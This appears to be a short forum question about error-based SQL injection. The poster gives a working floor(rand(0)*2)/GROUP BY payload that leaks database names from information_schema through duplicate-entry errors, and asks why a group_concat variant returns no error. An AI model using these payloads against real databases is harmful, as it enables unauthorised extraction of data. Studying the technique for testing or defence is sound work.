When I try to use the sql error injection of some no-echo situation,i find it works, when i use group_concat
in my query,but it should be a error so that i can get the error information.
The correct usage is:
select count(*),
concat(
(SELECT schema_name FROM information_schema.schemata limit 0,1)
,
floor(rand(0)*2)
) x
from information_schema.tables
group by x
It returns :
Duplicate entry 'information schema' for key 'group key
But I want to query all at one time. So i use:
select count(*),
concat(
(SELECT group_concat(schema_name) FROM information_schema.schemata)
,
floor(rand(0)*2)
) x
from information_schema.tables
group by x
but it doesn't return error. enter image description here So why? I am grateful for your help